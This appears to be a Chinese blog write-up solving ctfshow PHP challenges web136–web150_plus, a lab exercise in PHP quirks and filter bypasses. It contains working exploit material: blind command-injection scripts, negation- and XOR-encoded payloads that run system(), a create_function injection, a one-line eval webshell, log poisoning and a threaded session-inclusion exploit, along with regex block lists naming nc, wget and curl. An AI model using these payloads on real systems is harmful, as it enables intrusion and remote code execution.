    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,区别:

(1)system()

用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。

(2)passthru()

用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。

(3)exec()

用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。

这题虽然有正则过滤,但是只是说实现了正则匹配则输出这一句话,并没有直接禁用

假设真的禁用了,方法如下

将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:

?c=ls|tee 1

虽然有正则过滤,但是只是说实现了正则匹配则输出这一句话,并没有直接禁用,进行重定向

?c=ls />2.txt

读取

?c=cat /f149_15_h3r3>3.txt

web137 10

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
 
 
 
call_user_func($_POST['ctfshow']);

在 PHP 中,call_user_func()函数的参数支持多种形式的回调,其中就包括数组形式[类名, 方法名]和字符串形式的 “类名::静态方法名”

通过 HTTP POST 传递数组参数时,不能直接写[“ctfshow”, “getFlag”](这会被视为字符串),而需要用 PHP 的数组参数命名规则,会自动解析成数组形式

ctfshow[0]=ctfshow&ctfshow[1]=getFlag
#PHP 会将其解析为["ctfshow", "getFlag"]数组
//或者
ctfshow=ctfshow::getFlag

web138 10

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
 
if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}
 
call_user_func($_POST['ctfshow']);

禁用冒号,数组绕过

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139 10

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

基于时间盲注,在无回显的命令执行漏洞 中逐字符爆破敏感信息

列出根目录

import requests
import time
import string

str = string.ascii_letters + string.digits + '_~'
result = ""

for i in range(1, 10):  # 行
    key = 0
    for j in range(1, 15):  # 列
        if key == 1:
            break
        for n in str:
            # awk 'NR=={0}'逐行输出获取
            # cut -c {1} 截取单个字符
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
            # print(payload)
            url = "http://9525d4f8-5d4f-4472-9006-8dfeab401662.challenge.ctf.show/?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))
            except:
                result = result + n
                print(result)
                break
            if n == '~':
                key = 1
                result += " "

print("Final result:", result)
bin dev etc f149_15_h3r3 home lib media mnt op

读取

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://9525d4f8-5d4f-4472-9006-8dfeab401662.challenge.ctf.show/?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break

web140 10

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}
  • intval() 函数的返回值必然是整数类型,与你传递的原始参数类型无关
  • localeconv()返回一个包含本地化数字和货币格式信息的数组(例如小数点符号、千位分隔符等)
  • current()返回数组中的当前元素(默认是数组的第一个元素)
  • PHP 的松散比较(==)会在比较不同类型的值时,自动将它们转换为相同类型后再比较,intval($code) 是整数类型,‘ctfshow’是字符串类型,所以字符串会自动转换成整数0,相应的只需要intval($code)为0就可以了
  • PHP 中,当字符串以非数字开头(这里是 .)时,intval() 转换结果为 0
f1=current&f2=localeconv

另解

ntval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

payload1: system(system())---> f1=system&f2=system
string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system('FLASE'),空指令,失败返回FLASE。
payload2: usleep(usleep())---> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0
payload3: getdate(getdate())---> f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。

web141 10

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
 
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

v1,v2必须为数字,v3只包含非单词字符,取反绕过

<?php
//在命令行中运行
 
/*author yu22x*/
 
fwrite(STDOUT,'[+]your function: ');
 
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
 
fwrite(STDOUT,'[+]your command: ');
 
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
 
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

利用phpstudy自带的PHP环境来运行脚本

将需要运行的脚本放到桌面(比较好找),在phpstudy中找到正在使用的PHP版本,记住他的路径

打开powershell,先切换到脚本所在的目录

cd C:\Users\你的用户名\Desktop

用PHPstudy中的php.exe完整路径运行脚本

& "D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe" qufan.php
?v1=1&v3=%2B(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5);%2B&v2=1
->1+system('nl *')+1

%2B是 +:PHP 中的算术运算符,这里用于「强行拼接函数调用到数字运算中」(利用 PHP 弱类型,让 eval 能执行函数

web142 10

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

当访问这个 PHP 文件并传入v1参数时,代码开始执行,首先检查v1是否存在,然后将其转换为字符串,验证v1是否为数字或数字字符串,如果验证通过,计算出d的值,程序暂停d秒,最后输出flag.php的内容

?v1=0

web143 10

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

进行异或

<?php
 
/*author yu22x*/
 
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
        for ($j=0; $j <256 ; $j++) { 
 
                if($i<16){
                        $hex_i='0'.dechex($i);
                }
                else{
                        $hex_i=dechex($i);
                }
                if($j<16){
                        $hex_j='0'.dechex($j);
                }
                else{
                        $hex_j=dechex($j);
                }
                $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                                        echo "";
    }
  
                else{
                $a='%'.$hex_i;
                $b='%'.$hex_j;
                $c=(urldecode($a)^urldecode($b));
                if (ord($c)>=32&ord($c)<=126) {
                        $contents=$contents.$c." ".$a." ".$b."\n";
                }
        }
 
}
}
fwrite($myfile,$contents);
fclose($myfile);

生成文档xor_rce.txt,得到可用字符,构造命令

# -*- coding: utf-8 -*-
 
# author yu22x
 
import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

*的核心价值是利用其 “乘法运算符” 的身份和被允许的特性,在严格过滤下搭建一个语法合法的表达式框架,让藏在其中的恶意代码(异或构造的函数调用)能被 eval 顺利执行。

?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%00"^"%60%60%20%2a")?>*
#由于 ; 被ban了,使用?>代替

web144 10

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
 
    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
 
function check($str){
    return strlen($str)===1?true:false;
}

v1必须是数字或数字字符串(如123、45.6、”7e8″),v3必须是长度为 1 的单个字符(任何字符均可,但只能有一个),v2必须全部由非单词字符组成(如*、(、)、^等,不能有字母、数字、下划线),三个参数拼接后通过eval()执行,输出表达式及其结果。取反

?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)&v3=-

web145 10

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

v3对特殊符号做了过滤,使用位或运算符|

类型转换:在 PHP 中,当数字和字符串进行位运算时,字符串会被转换为数字。如果字符串无法转换为数字,则会被当作 0 处理。

执行代码:这是最关键的一点。PHP 允许在表达式中执行函数,当解析 1|(…)|1 这样的表达式时,中间的 (…) 部分会被优先执行。

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)|&v2=1

或者利用 PHP 的三元运算符? :

  • PHP 的三元运算符格式为:表达式1 ? 表达式2 : 表达式3,其逻辑是:

如果表达式1为真,则执行并返回表达式2的结果;

如果表达式1为假,则执行并返回表达式3的结果。

  • 在拼接后的表达式1 ? (~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5) : 1中:

表达式1是1(PHP 中1为真值),因此会执行表达式2:(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5);表达式3是1,但因表达式1为真,不会被执行。

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5):&v2=1

web146 10

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

多禁用:,使用|或者等号和位运算符结合

全等运算符===:

在 PHP 中,A === B用于判断 A 和 B 是否 “类型和值都完全相等”。此处1 === …的作用是构建合法表达式结构,让中间的(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)被优先执行(函数调用的优先级高于===)。

逻辑或运算符||:

||的逻辑是 “只要左边为真,整体就为真;左边为假则判断右边”。此处|| 1的作用是:

无论1 === 函数执行结果是否为真,整个表达式最终都会返回true(因为右边的1是真值),确保eval不报错;左边的函数调用会被优先执行

?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)|
#或者
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)||&v2=1

web147 10

<?php
highlight_file(__FILE__);
 
if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
 
}

过滤数字,小写字母和下划线

/i:大小写不敏感匹配 /s:点号元字符匹配所有字符,包含换行符。 /D:元字符美元符号仅仅匹配目标字符串的末尾

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。

create_functionPHP 内置函数,用于动态创建匿名函数,语法create_function(string $args, string $code);返回一个函数名(形如 \lambda_1),这个函数名是由 PHP 自动生成的,可以通过变量传入这个函数名并调用它。

payload

GET:
?show=}system('ls');//
POST:
ctf=\create_function

create_function 会生成一个函数:

function lambda_1() {
    }system("ls");//
}
  • } 是闭合前面的 {,// 是注释掉多余的 },这样就形成了一个合法的函数体。然后这个函数被立即执行,执行了 system(‘ls’),从而列出目录内容,进一步可以 cat flag 得到 flag。
  • 反斜杠 \,这是为了绕过正则表达式(\create_function 不在 a-z0-9_ 范围内),从而触发 preg_match 失败,进入 if 分支

web148 10

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
 
function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

无字母数字rce

爆破字典脚本:

<?php
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}
 
//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}
 
//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');
 
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    fwrite(STDOUT,'[+]your command: ');
 
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
 
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";
 
        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }
 
                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }
 
        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则

生成payload

# -*- coding: utf-8 -*-
def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
        lines = f.readlines()
        for i in arg:
            for line in lines:
                if line.startswith(i):
                    s1 += line[2:5]
                    s2 += line[6:9]
                    break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output
 
while True:
    function_input = input("\n[+] 请输入你的函数:")
    command_input = input("[+] 请输入你的命令:")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0e%0c%01%02"^"%60%60%21%28");
->system('nl *');

web149 10

<?php
error_reporting(0);
highlight_file(__FILE__);
 
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
 
file_put_contents($_GET['ctf'], $_POST['show']);
 
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

前目录下只能存在 index.php,条件竞争或者写一句话木马

抓两个包

#GET
?ctf=shell.php
#POST
show=<?php @eval($_POST['cmd']); ?>
#GET
shell.php
#POST
cmd=system('ls /');

清空payload位置,无限重复,放两个包

web150 10

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
 
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
 
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
 
    function __destruct(){
        echo $this->secret;
    }
 
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
 
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
 
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
 
if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

extract函数默认使用EXTR_OVERWRITE模式(覆盖已有变量)

extract函数的作用是将数组的键值对 “导入” 为当前作用域的变量(键名为变量名,键值为变量值)。当使用不当(如直接传入用户可控的$_GET/$_POST且未限制覆盖行为)时,会导致:

攻击者可通过输入参数覆盖程序中的已有变量(或创建新变量),篡改代码逻辑。

extract函数变量覆盖,满足isVip是true的条件限制,日志注入,$key有过滤字符,通过User-Agent传递木马信息

ua <?php eval($_POST[1])?>
 get  isVIP=TRUE
post  ctf=/var/log/nginx/access.log&1=system('cat f*');

非预期解是session文件包含,exp

# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading
 
sessid = 'test'
data = {
    "ctf": "/tmp/sess_test",
    "cmd": 'system("cat flag.php");'
}
 
 
def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})
 
 
def read(session):
    while event.isSet():
        res = session.post(
            'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
            data=data
        )
        if 'flag{' in res.text:
            print(res.text)
            event.clear()
        else:
            print('[*]retrying...')
 
 
if __name__ == "__main__":
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 5):
            threading.Thread(target=write, args=(session,)).start()
 
        for i in range(1, 5):
            threading.Thread(target=read, args=(session,)).start()

web150_plus 10

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
 
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
 
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
 
    function __destruct(){
        echo $this->secret;
    }
 
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
 
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
 
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
 
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

多过滤log,不能日志写🐎

__autoload 自动加载函数:当代码中使用一个未定义的类时,会自动调用此函数,传入类名作为参数,并执行 $class()(将类名当作函数调用)。

?..CTFSHOW..=phpinfo → PHP 解析参数名 . 为 _ → 得到变量 $__CTFSHOW__ = “phpinfo”(extract 导入) → 检测 class_exists(“phpinfo”) → 触发 __autoload(“phpinfo”) → 执行 phpinfo()。

?..CTFSHOW..=phpinfo

参考文章:https://blog.csdn.net/Myon5/article/details/140464776#3%E3%80%81web126

https://blog.molulu.top/ctfshow-web89-150-php特性/

上一篇
下一篇